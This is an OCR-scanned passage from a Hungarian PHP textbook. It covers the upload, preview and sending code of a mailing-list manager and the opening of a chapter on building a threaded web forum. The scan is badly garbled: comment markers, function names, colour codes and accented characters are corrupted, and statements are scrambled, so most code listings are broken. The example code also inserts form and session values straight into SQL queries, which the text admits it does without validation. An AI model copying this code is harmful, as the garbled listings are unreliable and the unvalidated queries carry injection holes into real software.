'

echo "<option value=\"".$lista[$i] [0]."\""; if ($listaiD== $lista[$i l [O l) echo " kivlasztva";

echo ">".$lista [$i] [l] ."</option>\n"; ?> </select> <ltd> </tr> <tr> <td bgcolor="lcccccc">Trgy:</td> <td bgcolor="lcccccc"> <input type="text" name="targy" value="<?php echo $targy; size="60" /></td> </tr> <tr> <td bgcolor="lcccccc">Szveges vltozat:</td> <td bgcolor="lcccccc"> <input type="file" name="felhasznaloi_fajl[O]" size="60"/></td> </tr> <tr><td bgcolor="lcccccc">HTML vltozat:</td> <td bgcolor="lcccccc"> <input type="file" name="felhasznaloi fajl[l]" size="60" /><ltd> ?>"

506

30. fejezet

</tr> <tr><td bgcolor="lcccccc" colspan="2">Kpek: <?php $max kepek=lO; for($i=O; $i<l0; $i++) (opcionlis)

echo "<tr><td bgcolor=\"lcccccc\">Kp ".($i+l)." <ltd> <td bgcolor=\"#cccccc\"><input type=\"file\" name=\"felhasznaloi fajl[".($1+2)."]\" size=\"60\"/></td> </tr>"; ?> <tr><td colspan="2" bgcolor="#cccccc" align="center"> <input type="hidden" name="max_kepek"

30

value="<?php echo $max_kepek; <input type="hidden" name="listaiD" value="<?php echo $listaiD; <ltd> </form> </tr> </table> <?php

?>">

?>"> ?>

<?php urlap_gomb_megjelenitese('fajlok-feltoltese');

J Figyeljk meg a fenti kdban, hogy a felelteni kvnt fjlok nevt inputok sorozataknt adjuk meg! Az sszes input file tpus, s nevk felhasznaloi_fajl [O ]-tl felhasznaloi_faj l [nl-ig megy. Lnyegben ugyangy kezeljk ezeket
az

rlapmezket, ahogyan a jellngyzeteket kezelnnk, s a tmbknl megszokott mdon nevezzk el ket. Ha tetszleges

szm f:ijlt kvnunk felelteni PHP kddal, s szeretnnk, ha tmbknt egyszeren rudnnk kezelni ket, akkor ezt a md szett rdemes kvetni. Az rlapot feldolgoz kd vgl hr om t m bt ad eredmnyl. Vizsgljuk meg most ezt a kdot!

Egyszerre tbb fjl feltltsnek kezelse


Emlkezhetnk r, hogy a fjlfeltlt kd kln fjlban tallhat. Ennek a feltoltes.php llomnynak a celjes kdjt a 30.16 mintakdban olvashatjuk. 30.16 pldakd: feltoltes.php-A hrlevll tr ehozshozszksgesfjlokat Jelt lt kd
<?php

ll ezt a funkeit az extra biztonsg kedvrt ll kln fjlba helyezzk,


ll ha brmi rosszul sl el, $max_meret = 50000; include ('beillesztett fuggvenyek.php'); session_start(); ll csak admin felhasznlk tlthetnek fel fjlokat if(!admin felhasznala_ ellenorzese( ) ) exit; egyszeren kilpnk

echo "<p>Nincs jogosultsga az oldal hasznlatra.</p>";

Levelezlista-kezel alkalmazs fejlesztse

507

ll az admin eszkzsor gombjainak belltsa $gombok = array(); $gombok[0] $gombok[l] $gombok[2] $gombok[3] $gombok[4] $gombok[5] $gombok[6] $gombok[7]
=

'jelszo-megvaltoztatasa'; 'levelezolista-letrehozasa'; 'hirlevel-letrehozasa'; 'hirlevel-megtekintese'; 'kijelentkezes'; 'osszes-lista-megjelenitese'; 'sajat-listak-megjelenitese'; 'egyeb-listak-megjelenitese';

html_fejlec_letrehozasa('Pyramid-MLM - Fjlfeltlts'); eszkozsor_megjelenitese($gombok); ll ellenrizzk, hogy az oldalt a megfelel adatokkal hvjuk meg

30

if((!$_FILES['felhasznaloi_fajl'] ['name'] [0]) ll (!$_FILES['felhasznaloi_fajl']['name'][l]) ll (!$_POST[ 'targy'] l l!$_POST['lista']) ) echo "<p>Hiba trtnt: Csak a kpek opcionlis mezk. A 'hrlevl trgyra', html_lablec_megjelenitese(); exit; a 'szveges verzi' s a 'HTML verzi' mezok kitltse ktelez.</p>";

Nem teljes kren tlttte ki az rlapot.

$lista $targy

$_POST['lista']; $_POST['targy'];

if(! ($kapcsolat=adatbazishoz kapcsolodas())) html_lablec_megjelenitese(); exit;

echo "<p>Nem sikerlt kapcsoldni az adatbzishoz.</p>";

ll hrlevl adatainak hozzadsa az adatbzishoz $lekerdezes


=

"insert into hirlevel values (NULL, '".$_SESSION['admin_felhasznalo']."', '".$targy."', '".$lista."', 'TAROLT', NULL, NULL)";

$eredmeny = $kapcsolat->query($lekerdezes); if(!$eredmeny) exit;

html_lablec_megjelenitese();

/la MySQL ltal a hrlevlhez rendelt azonost lekrdezse $hirleveliD


=

$kapcsolat->insert_id;

508

30. fejezet

if(!$hirlevellDl

html lablec_megjelenitese(); exit;

ll a knyvtr ltrehozsa nem sikerl, ll ez gy van jl @mkdir('archivel'.$lista, ll problmt jelent, 0700);

ha ez nem az els archivlt hrlevl

ha nem sikerl ltrehozni a hrlevlhez tartoz knyvtrat 0700))

if(!mkdir('archivel'.$lista.'l'.$hirleveliD, html_lablec_megjelenitese{); exit;

30

ll lpkedjnk vgig a feltlttt fjlok tmbjn! $i = 0; while (($_FILES['felhasznaloi faj!']['name'][$i]) ($_FILES['felhasznaloi faj!']['name'][$i] echo "<p>Feltolts:
&&

!='none'))

".$_FILES['felhasznaloi fajl']['name'][$i]."

$ FILES['felhasznaloi_fajl']['size' l [$il." bjt.<lp>";

if ($_FILES['felhasznaloi faj!']['size'][$i]==0) echo "<p>Hiba trtnt: a(z) ".$ FILES ['felhasznalc fajl'l['name'l[$il .

" fjl nulla mret "; $i++; continue;

if ($ FILES['felhasznaloi faj!']['size'] [$i]>$max_meret) echo "<p>Hiba tortnt:

a(z) ".$ FILES['felhasznaloi faJl']['name'][$i]."

mrete meghaladja a(z) " .$max_meret." bjtot"; $i++; continue;

ll szeretnnk ellenrizni, if(($i>l)

hogy a feltlttt kp valban kp-e akkor valsznleg az

ll ha a getimagesize() meg tudja hatrozni a mrett,


&&

(!getimagesize($_FILES['felhasznaloi_fajl']['tmp_name'][$i]))) a(z) ".$ FILES['felhasznaloi faJl']['name'][$i]. jpeg vagy png fjl.<lp>";

echo "<p>Hiba trtnt: " hibs, $i++; continue;

vagy nem gif,

ll a file O (a szveges hrlevl) s a file l (a html hrlevl) klnleges eset if($i==0)

{ {

$cel = "archive/".$lista."l".$hirleveliD."/szoveg.txt"; else if($i == l) $cel else $cel "archive/".$lista."/".$hirleveliD."/" .$ FI LES ['felhasznalc faJl']['name'] [$il; $lekerdezes = "INSERT INTO kepek VALUES ('".$hirleveliD."',

"archive/".$lista."/".$hirleveliD."/index.html";

Levelezlista-kezel alkalmazs fejlesztse

509

'".$_FILES['felhasznaloi_fajl' l ['name' l [$i] . "', '".$_FILES['felhasznaloi_fajl' l ['tipus' l [$i]."')"; $eredmeny $kapcsolat->query($lekerdezes);

if (!is_uploaded_file($_FILES['felhasznaloi_fajl'] ['tmp_name'] [$i])) ll lehetsges fjlfeltltsi tmads szlelse echo "<p>Valami vicces trtnik a(z) " .$_FILES['felhasznaloi_fajl'] ['name' l." fjllal, html_lablec_megjelenitese(); exit; nem tltdik fel.";

/
$cel);

move_uploaded_flle($_FILES['felhasznaloi_fajl' l ['tmp_name' l [$i l, $i++;

30
\

elonezet_gomb_megjelenitese($lista, elonezet_gomb_megjelenitese($lista, gomb_megjelenitese('kuldes', html lablec_megjelenitese(); ?> echo "<p style=\"padding-bottom:

$hirleveliD, $hirleveliD,

'HTML-elonezete'); 'szoveges-elonezete');

"&id=$hirleveliD"); 50px\">&nbsp;<lp>";

Menjnk vgig lpsrl lpsre a 30.16 pldakd tartalmn l Elszr is munkamenetet indtunk, s ellenrizzk, hogy a fel hasznl adminisztrtorknt jelentkezett-e be; erre azrt van szksg, mert senki msnak nem kvnjuk megadni a fjlfeltlts lehetsgt. Szigoran vve a lista s a hirleveliO vltozt is ellenrizni kellene, hogy nincsenek-e bennk nem kvnt karakterek, de ettl az egyszersg kedvrt eltekintennk. Ezt kveten elksztjk s elkldjk az oldalfejlceket, majd ellenrizzk, hogy az rlap megfelelen lett-e kitltve. Ez a l ps azrt klnsen fontos ebben az esetben, mert a felhasznl meglehetsen sszetett rlappal tallta magt szemben. Ezutn rgztjk az adatbzisban a hrlevelet, majd ltrehozunk trolsra egy knyvtrat az archvumban. Ezt kveten jn a kd f rsze, ami egyenknt ellenrzi s thelyezi a feltlttt fjlokat. Ez az a rsz, ami egyszerre tbb fjl feltltse esetn eltr attl, amit eddigi munknk sorn lttunk. Jelen esetben ngy tmbt kell kezelnnk; ezek neve rendre
$_FILES['felhasznalo_fajl'] ['name'],$_FILES['felhasznaloi_fajl'] ['tmp_name'], $_FILES [ 'felhasznaloi_fajl' l ['size'] s$ _FILES [ 'felhasznaloi_fajl' ] ['type']. Az egyszeres fjl

feltltskor hasznlt, hasonl nev vltozknak felelnek meg, a klnbsg annyi, hogy itt tmbkkel van dolgunk. Az rlapon elsknt megadott fjl adatait a$ _FILES['felhasznaloi_fajl' l ['tmp_name' l [O L a $ _FILES['felhasznaloi
['type' l [O l tmbelem tartalmazza.
_

fajl'] ['name'] [O],a$_FILES['felhasznaloi_fajl'] ['size'] [0] sa$_FILES['felhasznaloi_fajl']

Ezen a ngy tmbn elvgezzk a szoksos biztonsgi ellenrzseket, majd thelyezzk az llomnyokat az archvumba. Vgl megjelentnk az adminisztrtornak nhny gombot, amivel klds eltt megtekintheti a feltlttt hrlevl mindkt verzijt, illetve elkldheti azt. A feltoltes.ph p kimenett a 30.13 brn ltjuk.

510

30.fezet

30.13 bra: A Jeltltsi kd visszajelzst ad a Jeltlttt llomnyokrl s azok mretrl.

30

A hrlevl elnzetnek megtekintse


Az adminisztrtor a klds eltt ktflekppen is megtekintheti a hrlevl elnzett.Ha kzveclenl a fjlok feltltse utn szeretn ltni az elnzetet, akkor ezt a feltltsi kperny elnzeri funkcijval teheti meg. A msik lehetsg a.Hrlevl megtekints' gombra kattints, amely a rendszerben lv sszes el nem kldtt hrlevelet fogja megjelenteni; ennek akkor van ttelme, ha nem kzvetlenl feltlts utn kvnja elkldeni a hrleveleket.A "Hrlevl megtekintse" gomb a
megtekintese t
t

h irleve1-

mveletet hvja meg, amely viszont

az

albbi kdot hvja meg:

case thirlevel-megtekinteset: elemek_megjelenitese(tEl nem kldtt hrlevelekt, elkldetlen_hirlevel lekerese(email lekerese()), t HTML-elonezetet, break;
t

szoveges-elonezetet,

t kuldes

A fenti sorokbl vilgosan ltszik, hogy a kd itt is meghvja az elemek_megjeleni tese () a


t

fggvnyt, ez alkalommal

HTML-elonezete t,

a t szoveges-elonezete t s a

kuldest

mvelethez ksztve el a gombokat.

Figyeljk meg, hogy az elnzet gombokra kattints nem valamilyen mveletet vlt ki: ezek a gombok kzveclenl az arch vumban lv, megfelel hrlevlre hivatkoznak! Ha visszalapozunk a 30.7 s a 30.16 pldakdhoz, ltni fogjuk, hogy ezeket a gombokat a szoksos gomb_ megjelenitese () fggvny helyett hozzuk ltre. A gomb_megjeleni tese() fggvny kp formjban megjelen hivatkozst hoz ltre valamely kdhoz, az elonezet_
gomb_ megjelenitese
az

elonezet _gomb_ megj eleni tese

() fggvnnyel

() fggvny ugyanakkor az archvumba mutat, egyszer linket llt el. A HTML horgonycmke

(tag) target="new" attribtumnak ksznheterr ez a hivatkozs j ablakban nylik meg. A 30.14 brn egy hrlevl HTML verzijnak elnzett lthatjuk.

30.14 bra: Egy HTML hrlevl elnzete a kpekkel egytt jelenik meg.

Levelezlista-kezel alkalmazs fejlesztse

511

A hrlevl kikldse
A hrlevelek .. Klds" gombjra kattintva a 'kuldes' mveletet vltjuk ki, amely az albbi kdot futtatja:
case ' kuldes' : kuldes($_GET [ 'id'], break; $ SESSION['admin felhasznalo']);

A kd az mlm_fuggvenyek.php knyvtrban tallhat kuldes ( ) fggvnyt hvja meg. Ebben a hossz, a 30.17 plda

kdban olvashat fggvnyben hasznljuk a Mail_mime osztlyt.


30.17 pldakd: Az mlm fuggvenyek.php
_

knyvtr kuldes() fggvnye- Ez a hrlevelet vgl kikldfggvny

ll a hirlevl ltrehozsa az adatbzisban trolt elemekbl s fjlokbl ll tesztlevelek kldse az adminisztrtornak ll vagy igazi hrlevelek kldse a teljes listra
function kuldes($hirleveliD, return false; $admin_felhasznalo) { if(!admin_felhasznalo_ellenorzese($admin felhasznalo))

r-

30

if(! ($info = hirlevel_info_betoltese($hirleveliD))) echo "<p>Nem sikerlt betlteni a ".$hirleveliD." hrlevlhez tartoz informcikat.</p>"; return false;

$targy Sallapot

$info [ 'targy' l ; $info [ 'allapot'];


=

$listaiD = $info [ 'listaiD'];


=

$elkuldve

$info['elkuldve']; 'Pyramid MLM';

$felado_neve

$felado_cime = 'valasz@cim'; $lekerdezes


=

"SELECT email FROM al listak WHERE listaiD

'".$listaiD."'";

$kapcsolat = adatbazishoz_kapcsolodas(); $eredmeny = $kapcsolat->query($lekerdezes); if (! $eredmeny) { echo $lekerdezes; return false; else if ($eredmeny->num_rows==0} return false; ( echo "<p>Senki nincs feliratkozva a(z) ".$listaiD." szm listra.</p>";

ll PEAR mail osztlyok beillesztse


include('Mail.php'); include('Mail/mime.php');

ll hozzuk ltre a MIME osztly egy pldnyt,


$uzenet = new Mail_mime("\r\n");

s adjuk t neki

ll a rendszernk ltal hasznlt kocsi vissza/soremels karaktert!

ll olvassuk be a hrlevl szveges vltozatt!


$szoveges_fajl_neve = "archive/".$listaiD."/".$hirleveliD."/szoveg.txt"; $tfp = fopen($szoveges_fajl_neve, "r");

512

30.fezet

$szoveg

fread($tfp,

files1ze($szoveges fajl_neve));

felcse($tfp);

ll olvassuk be a hrlevl HTML vltozatt! $HTML_fajl_neve


=

"archivel".$listaiD."I".$hirleveliD."Iindex.html"; "r");

$hfp = fopen($HTML_fajl_neve, $html = fread($hfp, felcse($hfp);

filesize($HTML_fajl_neve));

ll HTML s szveg hozzadsa a mimemail objektumhoz $uzenet->setTXTBody($szoveg); $uzenet->setHTMLBody($html);

ll az zenethez kapcsold kpek listjnak lekrse

30

$lekerdezes = "SELECT eleresi_utvonal,

mime_tipus FROM kepek WHERE

hirleveliO = '".$hirlevel!D."'"; $eredmeny = $kapcsolat->query($lekerdezes); if(! $eredmeny)

echo "<p>Nem sikerlt lekrni az adatbzisbl a kpek listjt.<lp>"; return false;

$num = $eredmeny->num_rows; for($i = 0; $i<$num; $i++)

ll kpek betltse a merevlemezrl $sor = $eredmeny->fetch_array(); $kep faJl_neve = "archivel$listaiDI$h1rleveliDI".$sor[0]; $kep_tipusa


=

$sor[l];

ll a kpek hozzadsa az objektumhoz $uzenet->addHTMLimage($kep_fajl neve, $kep_fajl_neve, true); $kep_tipusa,

ll zenet tartalmnak ltrehozsa $tartalom = $uzenet->get();

ll zenet fejlcnek ltrehozsa $felada = '"' .valodi_nev_lekerese($admin_felhasznalo).'" <' .$admin_felhasznalo.'>'; $fejlec_tomb array( 'Felad' => $felada, 'Trgy' => $targy);

$fejlecek = $uzenet->headers($fejlec tomb);

ll a tnyleges kldobjektum ltrehozsa $kuldo =& Mail::factory('mail');

if($allapot == 'TAROLT')

ll HTML zenet elkldse az adminisztrtornak $kuldo->kuldes($admin_felhasznalo, $fejlecek, $tartalom);

ll az zenet egyszer szveges vltozatnak kldse az adminisztrtornak mail($admin_felhasznalo, $targy, $szoveg, 'Felad: "'

Levelezlista-kezel alkalmazs fejlesztse

513

.valodi nev_lekerese($admin_ felhasznalo) '" <'.$admin_felhasznala.'>'); echo "zenet elkldve a(z) ".$admin_felhasznalo." cmzettnek";

ll a hrlevl megjellse teszteltknt $lekerdezes = "UPDATE hirlevele SET allapot = 'TESZTELT' WHERE hirleveliO = '".$hirleveliD."'"; $eredmeny = $kapcsolat->query($lekerdezes);

echo "<p>A teljes levelezlistnak val kldshez kattintson jra a Klds gombra! <div align=\"center\">"; gomb_megjelenitese('kuldes', echo "<ldiv></p>"; '&id='.$hirleveliD);

l'
'TESZTELT')

else if($allapot ==

ll klds a teljes listnak

30
al_listak.email, felhasznalak

$lekerdezes

"SELECT felhasznalok.valodi_nev, felhasznalok.mime tipus FROM al_listak,

WHERE listaiD = $listaiD and al listak.email = felhasznalok.email";

$eredmeny = $kapcsolat->query($lekerdezes); if(! $eredmeny)

echo "<p>Hiba a feliratkezottak listjnak lekrsekor<lp>";

$szamlalo = O; ll minden feliratkozottnak while ($felhasznalo = $eredmeny->fetch row ()) if($felhasznala[2]=='H')

ll HTML verzi kldse az azt kr felhasznlknak $kuldo->kuldes($felhasznalo[l], else $fejlecek, $tartalom);

ll szveges verzi kldse a nem HTML hrlevelet krknek mail($felhasznalo[l], $targy, $szoveg,

'Felad:

"' .valodi_nev_lekerese($admin felhasznalo).'"

<'.$admin felhasznalo.'>');

$szamlalo++;

$lekerdezes = "UPDATE hirlevel SET allapot = 'ELKULDOTT', WHERE hirleveliO = '".$hirleveliD."'"; $eredmeny = $kapcsolat->query($lekerdezes); echo "<p>sszesen $szamlalo hrlevelet kldtnk ki.<lp>"; else if ($allapot == 'ELKULDOTT')

kuldve

now()

echo "<p>A hrlevelet mr kikldtk.<lp>";

514

30. fejezet

A fggvny szmos dolgot tesz. Klds eltt tesztlevlben elkldi az adminisztrtornak a hrlevelet, s a hrlevl llapott az adatbzisban nyomon kvetve feljegyzi, hogy a teszt megtrtnt. Amikor a feltltkd feltlt egy hrlevelet, "TAROLT"-ra lltja annak llapott. Ha akuldes () fggvny azt llaptja meg, hogy valamely hrlevlnek "TAROLT" az llapota, "TESZTELT"-re mdostja, s elkldi az adminisztrtornak a tesztzenetet. A "TES Z TELT" llapot azt jelzi, hogy a hrlevl tesztzenetknt el lett kldve az admi nisztttomak. Ha az llapot mr "TES z TELT", akkor "ELKULDOTT" -re vltozik, amint a hrlevelet a teljes levelezlistra kikldtk Ez rtelemszeren azt jelenti, hogy minden egyes hrlevelet ktszer fogunk elkldeni: egyszer teszt mdban, egyszer pedig lesben. A fggvny radsul krfle e-mailt kld: a szveges verzit a PHP mail () fggvnyvel, illetve a HTML verzit a Mail_mime osztllyal. A mail() fggvnnyel mr tbbszr tallkezrunk a knyvben, ezrt nzzk meg most azt, hogyan hasznljuk a Mail_mime osztlyt! Nem fogjuk teljes kren bemutatni ezt az osztlyt, inkbb csak elmagyarzzuk, hogyan hasznltuk ebben a viszonylag tipikus alkalmazsban. Azzal kezdjk, hogy beillesztjk az osztlyfjlokat, majd ltrehozzuk a Mail_mime osztly egy pldnyt:
ll PEAR mail osztlyok beillesztse
include('Mail.php');

30

include('Mail/mime.php');

ll hozzuk ltre a MIME osztly egy pldnyt,


$uzenet = new Mail_mime("\r\n");

s adjuk t neki

ll a rendszernk ltal hasznlt kocsi vissza/soremels karaktert!

Lthatjuk, hogy kt osztlyfjl lett itt beillesztve. A PEAR ltalnos Mail osztlyt a kd ksbbi rszben, a hrlevl tny leges elkldsre fogjuk hasznlni. Ez az osztly benne tallhat PEAR-teleptsnkben. A Mail_mime osztlyt az elkldeni kvnt, MIME formtum zenet ltrehozsra fogjuk hasznlni. Ezt kveten beolvassuk a hrlevl szveges s HTML verzijt, majd hozzadjuk a Mail_mime osztlyhoz:
ll olvassuk be a hrlevl szveges vltozatt!
$szoveges faJl_neve = "archive/".$listaiD."/".$hrleveliD."/szoveg.txt"; $tfp
=

fopen($szoveges fajl_neve,

"r");

$szoveg = fread($tfp, felcse($tfp);

filesize($szoveges fajl_neve));

ll olvassuk be a hrlevl HTML vltozatt!


$HTML fajl neve = "archive/".$lstaiD."/".$hirleveliD."/index.html"; $hfp
=

fopen($HTML_fajl_neve,

"r");

$html = fread($hfp, felcse($hfp);

filesize($HTML_fajl_neve));

ll HTML s szveg hozzadsa a mimemail objektumhoz


$uzenet->setTXTBody($szoveg); $uzenet->setHTMLBody($html);

Ezutn betltjk az adatbzisbl a kpadatokat, s ciklussal vgiglpkednk rajruk, hozzadva a kpeket a kldeni kvnt hrlevlhez:
$num = $eredmeny->num_rows; for($i = 0; $i<$num; $i++)

ll kpek betltse a merevlemezrl


$sor = $eredmeny->fetch_array(); $kep_fajl neve = "archive/$listaiD/$hirleveliD/".$sor[0]; $kep_tipusa = $sor[l);

ll a kpek hozzadsa az objektumhoz


$uzenet->addHTMLimage($kep_fajl neve, $kep_tipusa, $kep_fajl_neve, true);

Az addHTMLimage () fggvnynek radott paramterek sorrendben: a kpfjl neve (illetve tadhatjuk a kpadatot is), a kp MIME tpusa, a fjlnv jra, illetve a true rtk, ami azt jelzi, hogy az els paramter fjlnv volt, nem pedig fjladat. (Ha nyers kpadatot szetetnnk tadni, akkor a paramterek sorrendben: a kpadat, a MIME tpus, egy res paramter s vgl a false rtk lenne.) A paramterek hasznlata egy ks odafigyelst ignyel. Ennl a pontnl, az zenet fejlcnek elksztse eltt kell ltrehozni az zenet tartalmr. Ezt a kvetkezkppen tesszk meg:

Levelezlista-kezel alkalmazs fejlesztse

515

ll zenet tartalmnak ltrehozsa


$tartalom = $uzenet->get();

Ezt kveten a Mail_mime osztly headers(l fggvnyt meghvva hozzuk ltre az zenet fejlct:
ll zenet fejlcnek ltrehozsa
$felada = '"' .valodi_nev_lekerese($admin_felhasznalo). '" 'Felad' => $felada, 'Trgy' => $targy);
<'

.$admin_felhasznalo.'>';

$fejlec_tomb = array(

Vgl, rniutn elksztettk az zenetet, elkldhetjk Ehhez ltre kell hozni a PEAR Mail osztlynak egy pldnyt, amelynek tadhatjuk a ltrehozott zenetet. Els lpsknt ltrehozzuk az osztlypldnyt:
ll a tnyleges kldobjektum ltrehozsa
$kuldo =& Mail::factory('mail');

(Az itt hasznlt 'mail' paramter pusztn kzli a Mail osztllyal, hogy a PHP mail() fggvnyvel kldje az zenete ket. A paramterben hasznlhatnnk mg a 'sendmail' s az 'smtp' rtket is.) Ezutn elkldjk a hrlevelet minden feliratkozott felhasznlnak. Ehhez ciklus segtsgvel vgiglpkednk a levelezlistra feliratkozott minden felhasznln, majd az ltaluk kivlasztott MIME tpusnak megfelelen meghvjuk a ku ldes () vagy a ha gyomnyos mail (l fggvnyt:
if($felhasznalo[2]=='H'l

30

ll HTML verzi kldse az azt kr felhasznlknak


$kuldo->kuldes($felhasznalo[l], else $fejlecek, $tartalom);

ll szveges verzi kldse a nem HTML hrlevelet krknek


mail($felhasznalo[l], $targy, $szoveg, 'Felad: "'.valodi_nev_lekerese($admin_felhasznalo). '"
<'

.$admin felhasznalo.'>');

A $kuldo->kuldes(l els paramtere a felhasznl e-mail cme, a msodik a fejlc, a harmadik pedig az zenet tartalma kell, hogy legyen. Kszen is vagyunk! Ezzel befejeztk a levelezlista-kezel alkalmazs ltrehozst.

A projekt tovbbfejlesztse
Akrcsak a korbbi projekteknl, itt is elmondhat, hogy sokflekppen bvthetjk az alkalmazs funkciit. Gondoljuk vgig a kvetkez lehetsgeket: Krjnk visszaigazolst a feliratkozsrl, hogy beleegyezse nlkl senkit ne lehessen a levelezlistkra feliratnil Ezt ltalban a felhasznJk e-mail cmre kldtt visszaigazol zenettel lehet megvalstani: ha valaki nem vlaszol erre az e-mailre, akkor nem rjuk fel az adott listra. Ezzel a mdszerrel arra is fny derlhet, ha valakinek hibsan kerlt be az e-mail cme az adatbzisba. Adjuk meg az adminisztrtornak a lehetsget, hogy jvhagyja vagy elutastsa a felhasznJk feliratkozsi krst! Tegyk nyltt a levelezlistkat, vagyis engedjk meg azt, hogy brmelyik tag kldhessen zenetet a listra! Csak a regisztrlt tagoknak tegyk elrhetv a levelezlistk archvumt! Teremtsle meg a felhasznlknak a levelezlistk kztti keress lehetsgt! Egyes felhasznlkat pldul csak a golffal kapcsolatos hrlevelek rdekelhetile Amikor a hrlevelek szma bizonyos rtket elr, hasznoss vlik a kzttk val keress lehetsge. Tegyk az alkalmazst hatkonyabb, hogy nagy levelezlistkat is kpes legyen kezelni! Ehhez vegynk ignybe olyan levelezlista-kezelt, rnint pldul az ezmlm, amely tbbszl mkdssel kpes az zeneteket vrakozsi sorba helyezni s kikldeni! Nem igazn lesz hatkony, ha a mail (l fggvnyt sokszor meghvjuk PHP-ben, ezrt sok taggal br levelezlistk esetn a PHP nem lesz alkalmas a httrmunkra. A levelezlista fellett ettl fggedenill fejleszthetjk PHP-ben, de a munka tbbi rszt hagyjuk meg az ezmlm-nek!

Hogyan tovbb
A kvetkez fejezetben olyan webes frumot fejlesztnk, ahol a felhasznJk klnbz tmkban folytathatnak online eszme csert, illetve oszthatjk meg gondolataikat egymssal.

31
Webes frum fejlesztse
Kivl mdszer oldalunk ltogatottsgnak nvelsre, ha felhasznli frumct mkdtetnk. A frumok tbbfle clt szol glhatnak: lehetnek egyszeren vitafrumok, ahol a tagok megosztjk s megbeszlik egymssal az adott tmrl kialakult vlemnyket, de ugyangy akr mszaki termktmogats cljra is alkalmasak. Az elttnk ll fejezetben PHP-ben fejlesz tnk webes frumot. A sajt program fejlesztsnek lehetsges alternativja egy meglv programcsomag, pldul a Phorum alkalmazsa. A webes frumok (amiket angolul

webforum, illetve discussion board vagy threaded discussion group nven is szoks emleget

ni) gy mkdnek, hogy valaki adott tmt elindt hozzszlst r, vagy valamilyen krdst tesz fel, amit msok elolvasharnak s megvlaszolhatnak, illetve hozzszlsaikban kifejthetik a vlemnyket. A frumban tallhat klnbz"beszlgetseket" tmknak (topikoknak) nevezzk. Projektnkben a blah-blah nev webes frumct fogjuk ltrehozni. Felhasznlinak lehetv tesszk, hogy els hozzszlst vagy posztot rva j tmt kezdjenek, megrekintsk a korbbi hozzszlsokat, vlaszoljanak a korbbi hozzszlsokra,

megrekintsk az egyes tmkon bell a "beszlgetsek fonalait'; megjelentsk a hozzszlsok kztti kapcsolatot - vagyis lssk, hogy az egyes hozzszlsok melyik korbbi hozz szlsea vlaszolnak.

Gondoljuk vgig a feladatot!


Egy frum ltrehozsa meglehetsen rdekes feladat. Valahogyan el kell trolnunk adatbzisban a hozzszlsokat gy, hogy
a

szerzjket, cmket, idpontjukat s tartalmukat is feljegyezzk. Els pillantsra ez nem sokban klnbzik a Book-O A frumkezel alkalmazsok tbbsge azonban gy mkdik, hogy a meglv hozzszlsokon tlmenen a kzttk

Rama adatbzistL fennll kapcsolatot is kpesek megjelenteni. Ez azt jelenti, hogy lthatjuk, hogy mely hozzszlsok vlaszolnak korbbiakra (s melyik hozzszlsbl indulnak ki), s melyek azok a hozzszlsok, amelyek j tmt indtanak. Sok helyen ltharunk gy mkd frumot, pldaknt emltsk meg a Slashdot frumt, ami a http:/ /slashdot.org cmen rhet el! rdemes alaposan vgiggondolni, hogyan kvnjuk megjelenteni ezeket a kapcsolatokat. Rendszernk felhasznlinak le hetv kell tenni, hogy megrekinthessenek egy adott hozzszlst, egy ltaluk kivlasztott tmt - ami radsul a benne lv hozzszlsok kztti kapcsolatokat is megjelenti -, illetve a rendszerben elrhet sszes topikot. A felhasznlknak rudniuk
kell j tmt indtani, illetve korbbi hozzszlsokra vlaszolni. Ez lesz a feladarunk legknnyebb rsze.

A megolds alkotelemei
Ahogy mr jeleztk, az egyes hozzszlsok szerzjnek s szvegnek eltrolsa, illetve visszakeresse egyszer dolog. Az alkalmazs legnagyobb kihvsa egy olyan adatbzis-szerkezer kigondolsa, amely kpes trolni a kvnt informcit, illetve megtallni
a az

ebben a szerkezetben hatkony navigcit jelent mdszert. A hozzszlsok szerkezete egy adott tmn bell

31.1 brn lthathoz hasonl.

518

3l.fezet

Reply l

Reply

l to Reply l

Reply 2 to Reply l

Reply 2

Reply 3

Reply

l to Reply 3

31.1 bra: Egy frum

hozzszlsa lehet j tma els hozzszlsa, de ennl gyakoribb, hogy korbbi hozzszlsra adott vlasz.

Az brbl ltszik, hogy a tmt a legels hozzszls indtja, amire vlaszu! hrom hozzszlst rtak.Ezek kztt is van

olyan hozzszls, amelyre vlaszoltak. Ezekre a vlaszokra is rkezhetnek tovbbi vlaszok, s gy tovbb.
Az brra nzve mr sejthegk, hogy miknt rdemes eltrolni, illetve visszakeresni a hozzszlsok adatait s a hozzsz

lsok kztti kapcsolatokat.Az brnJastruktrt lthatunk. A tapasztalt programozk tudjk, hogy ez az egyik leggyakrabban hasznlt adatszerkezet.Az brn csompontokat
-

vagyis hozzszlsokat -s a hozzszlsok kztti kapcsolatokat ltunk;

pontosan gy, mint brmely fastruktrban.(Akkor sem rdemes aggdni, ha nem ismerjk a ft mint adatstruktrt: az ala pokat tvesszk majd, ahogy haladunk elre a frum fejlesztsvel.)

31

Ahhoz, hogy mindez jl mkdjn: tallnunk kell egy megfelel mdszert arra, hogy a fastruktrt lekpezzk a trolsra -jelen esetben egy MySQL adat bzisba;

meg kell tallnunk a mdjt, hogy szksg esetn rekonstruljuk az adatokat.

Projektnknek gy kezdnk neki, hogy lttehozzuk a hozzszlsok trolsra szolgl MySQL adatbzist. Ezt kveten egyszer felhasznli felleteket ksztnk, amelyek a hozzszlsok mentst teszik lehetv. Amikor berltjk a megtekintend hozzszlsok listjt, rninden egyes hozzszls fejlcr berltjk egy cs omopont nev PHP osztlyba.Minden csomopont objektum egy hozzszls fejlct, illetve az arra a hozzszlsta adott vlaszok halmazr fogja tartalmazni. A vlaszokat tmbben fogjuk trolni. Minden vlasz nmagban is egy csomopont lesz, ami az adott hozzszlsta adott vlaszok tmbjt tartalmazza, amelyek megint csak csomopont objektumok lesznek, s gy tovbb.Ez a folyamat addig tart, amg el nem rjk a fa gynevezett levl csompontjait (leaf node), azokat a csompontokat, amelyekre mr nincsen vlasz.Ek kor a 31.1 brn lthathoz hasonl fastruktrt kapunk. Jjjn most egy kis terminolgia! A hozzszlst, amire vlaszolunk, az aktulis csompont szl csompongnak nevez hegk. Egy hozzszlsta rt brmely vlasz az aktulis csompont gyermeke. Ha csaldfaknt kpzeljk el ezt a fastruktrt, akkor knnyebb lesz megjegyezni ezeket a kifejezseket.A fasttuktra els hozzszlst, amelynek nincsen szlje, szoks

gykr csompontnak (root) is nevezni.

